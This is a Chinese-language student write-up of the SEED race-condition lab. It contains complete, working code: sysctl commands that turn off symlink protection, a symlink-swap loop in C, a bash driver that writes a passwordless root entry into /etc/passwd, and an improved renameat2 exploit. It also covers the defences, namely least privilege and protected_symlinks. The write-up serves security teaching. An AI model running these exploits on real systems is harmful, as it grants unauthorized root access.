1. 环境设置

1.1 关闭反制措施

使用 neofetch 查看 Ubuntu 版本信息,如下所示:

image-20241124110138581

Ubuntu 20.04 引入了一种安全机制,防止 root 用户写入 /tmp 中其他人拥有的文件。使用下面的命令禁用这个安全机制:

// On Ubuntu 20.04, use the following:
$ sudo sysctl -w fs.protected_symlinks=0
$ sudo sysctl fs.protected_regular=0
image-20241124110414869

然后将漏洞程序 vulp.c 编译并设置为 Set-UID 程序:

image-20241124110732466

2. Task 1:选择目标

Ubuntu live CD 中有一个用于无口令帐户的 magic 值 U6aMy0wojraho(第 6 个字符是零而非字母 O)。如果我们把这个值放在用户条目的口令字段中,我们只需要在提示输入口令时敲击回车键即可登录。

任务 为了验证 magic 值口令是否有效,我们(作为超级用户)手动将以下条目添加到/etc/passwd 文件的末尾。请在报告中说明你是否可以在不键入口令的情况下登录 test 账户,并检查你是否具有 root 权限。

将以下内容添加进 /etc/passwd 文件中:

test:U6aMy0wojraho:0:0:test:/root:/bin/bash
image-20241124111435685

切换到 test 账户,无需键入口令,并且具有 root 权限。

image-20241124111737525

3. Task 2:发起竞争条件攻击

3.1 Task 2.A:模拟一个缓慢的机器

假设机器非常慢,在 access()fopen() 调用之间有一个 10 秒的时间窗口。为了模拟这种情况, 我们在它们之间添加了 sleep(10)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;

    /* get user input */
    scanf("%50s", buffer);

    if (!access(fn, W_OK)) {
    	sleep(10);     //<- 10s time window
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}

然后重新编译并设置为 Set-UID 程序,并创建一个 /tmp/XYZ 文件。

运行程序时,输入 test:U6aMy0wojraho:0:0:test:/root:/bin/bash,利用 10 秒的时间窗口,将 /tmp/XYZ 设置为指向 /etc/passwd 的符号链接,使用命令:

ln -sf /etc/passwd /tmp/XYZ  (f表示如果存在链接,则先删除链接)

如下所示:

image-20241124120831238

然后此时查看 /etc/passwd 的内容,发现 test:U6aMy0wojraho:0:0:test:/root:/bin/bash 已经被写入。

image-20241124121117226

切换 test 用户,无需密码即可获得 root 权限:

image-20241124111737525

3.2 Task 2.B:进行真实攻击

首先删除 sleep(10) 重新编译并设置成 Set-UID 程序。

3.2.1 编写攻击程序

我们可以使用以下的函数删除链接和创建链接:

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");

由于 Linux 不允许在已经存在链接的时候创建链接,所以我们每次在创建链接前都需要先删除链接。

于是我们可以写出这样的攻击脚本:

// attack.c
#include <unistd.h>

int main(){
	while(1){
		unlink("/tmp/XYZ");
		symlink("/etc/passwd","/tmp/XYZ");
		usleep(100);
	}
	return 0;
}

通过一个 while 循环,不断的删除链接和创建 tmp/XYZ/etc/passwd 之间的链接。

然后编写 target_process.sh ,利用 echo 和管道符进行程序的输入。

#!/bin/bash

CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]  
do
   echo "test:U6aMy0wojraho:0:0:test:/root:/bin/bash" | ./vulp 
   new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

利用 ls -l /etc/passwd 输出的文件修改时间,如果文件修改时间发生变化,说明竞争条件漏洞利用成功,/etc/passwd 文件被修改,此时停止脚本的运行。

3.2.2 运行漏洞程序并观察结果

  1. 首先运行 attack 攻击脚本。
  2. 然后运行 target_process.sh 脚本,不断的运行漏洞程序。
image-20241124144521009

3.2.3 验证是否成功

查看 /etc/passwd ,发现 test:U6aMy0wojraho:0:0:test:/root:/bin/bash 成功写入:

image-20241124144843800

切换 test 用户,无需密码成功获得 root 权限:

image-20241124111737525

3.3 Task 2.C:一种改进的攻击方法

在 Task 2.B 中,我们的攻击可能失败,原因是我们编写的攻击脚本也存在着竞争条件漏洞,当执行 unlink 操作删除 /tmp/XYZ 之后,如果执行了 fopen 操作,就会创建一个所有者为 root 的 /tmp/XYZ ,下一次 unlink 操作就无法删除 /tmp/XYZ。这是因为 /tmp 文件夹上有一个“粘滞”位,意为只有文件的所有者才能删除该文件,即使该文件夹可写。

// attack.c
unlink("/tmp/XYZ");  <-  seed 身份 unlink
// vulp.c
fp = fopen(fn, "a+"); <-  root 身份 fopen,文件所有者变为 root
// attack.c
unlink("/tmp/XYZ");  <-  seed 身份无法 unlink

为了解决这个问题,我们需要将 unlinksymlink 操作原子化,幸运的是,有一个系统调用允许我们实现这一点。更准确地说,它允许我们原子地交换两个符号链接。下面的程序首先创建两个符号链接 /tmp/XYZ/tmp/ABC,然后使用 renameat2 系统调用来原子地交换它们。这允许我们在不引入任何竞争条件的情况下更改 /tmp/XYZ 指向的内容。

我们可以写入如下所示的改进的攻击脚本:

//attack_new.c
#define _GNU_SOURCE

#include <stdio.h>
#include <unistd.h>

int main()
{
	unsigned int flags = RENAME_EXCHANGE;
	while(1){
		unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
        usleep(100);
		unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
		usleep(100);
		renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    }
	return 0;
}

使用上面的攻击脚本再次尝试攻击:

image-20241124152915353

切换 test 用户,无需密码成功获得 root 权限:

image-20241124153028071

4. Task 3:预防措施

4.1 Task 3.A:应用最小权限原则

读取 /tmp/XYZ 文件并不需要 root 权限,根据最小权限原则,如果我们不需要 root 权限,我们就要禁用这个权限,因此我们可以使用 seteuid 系统调用暂时禁用 root 权限,确保进程的权限与当前执行者的权限一致,修改后的代码如下所示:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main()
{
    char* fn = "/tmp/XYZ";
    char buffer[60];
    FILE* fp;
	seteuid(getuid());  //修改进程的euid为执行者的uid
    /* get user input */
    scanf("%50s", buffer);
      
    if (!access(fn, W_OK)) {
        fp = fopen(fn, "a+");
        if (!fp) {
            perror("Open failed");
            exit(1);
        }
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    } else {
        printf("No permission \n");
    }

    return 0;
}

编译并设为 Set-UID 程序,再次执行攻击脚本。

**观察结果:**发现攻击失败,出现了 Open failed: Permission denied。

image-20241124155942883

**解释:**由于进程的 euid 被设置成了 seed ,通过了 access() 函数的检测之后,就算修改了符号链接,也无法打开 /etc/passwd ,原因是 /etc/passwd 是 root 可写的,seed 不可写,因此会输出 Open failed: Permission denied。

4.2 Task 3.B:使用 Ubuntu 内置方案

Ubuntu 10.10 和更高版本附带了一个内置的防止竞争条件攻击的保护方案。使用下面的命令重新开启保护:

// On Ubuntu 16.04 and 20.04, use the following command:
$ sudo sysctl -w fs.protected_symlinks=1
// On Ubuntu 12.04, use the following command:
$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
image-20241124160824321

再次运行攻击脚本。

**观察结果:**发现攻击失败,输出 Open failed: Permission denied。

image-20241124162012143

查阅 Linux Kernel 的文档(https://www.kernel.org/doc/html/latest/admin-guide/sysctl/fs.html#protected-symlinks)发现了该保护方案的机制:

image-20241124162204358

Q:(1)该保护方案是如何工作的?

A:

结合 Linux Kernel 的文档和 SEED book,设这样一个三元组:(跟随者,目录所有者,符号链接所有者),跟随者是进程的有效用户,目录所有者是目录的拥有者,符号链接所有者是创建该符号链接的用户,当符号链接的所有者与跟随者相同,或者与目录所有者相同,fopen 的操作就会被允许,否则 fopen 的操作就会失败。

发起攻击的时候,符号链接的所有者是 seed,而 /tmp 目录的所有者和跟随者都是 root,因此 fopen 的操作会失败,所以会输出 Open failed: Permission denied,进而攻击失败。

Q:(2)这个方案有什么局限性?

A:

  1. 如果建立符号链接的文件所在目录的所有者是 seed,那么这个保护机制将会失败。
  2. 限制了系统的灵活性,如果一个 root 用户想通过一个程序访问一个 root 拥有的目录下的 seed 拥有的符号链接,那么就会访问失败。
  3. 在某些场景下可能带来兼容性问题,如果其他程序依赖不同用户下的符号链接机制,这个程序可能无法正常运行。

5. 思考题

Q1 下面的 Set-UID 程序是否有竞争条件漏洞?并请解释。

if (!access("/etc/passwd", W_OK)) {
    /* the real user has the write permission*/
    f = open("/tmp/X", O_WRITE);
    write_to_file(f);
}
else {
    /* the real user does not have the write permission */
    fprintf(stderr , "Permission denied\n");
}

存在竞争条件漏洞。

解释:首先,if 判断会检查用户对 /etc/passwd 是否有写权限,而且 access() 函数检查的是用户的真实 id,并且普通用户是无法将 /etc/passwd 设置符号链接的,所以能通过 if 判断的都是 root 用户,这让我感到迷惑,都拥有 root 权限了,还需要通过修改符号链接的方式进行攻击吗?

通过了 if 判断后,攻击者可以将 /tmp/X 设置为指向攻击者想要写入的文件的符号链接,这样执行open 就会打开攻击者想要写入的文件,并执行 write_to_file(f) 对该文件进行写入。

存在漏洞的原因是检查文件和打开文件是两个分离的操作,攻击者可以利用中间的时间窗口对文件进行替换,进行攻击。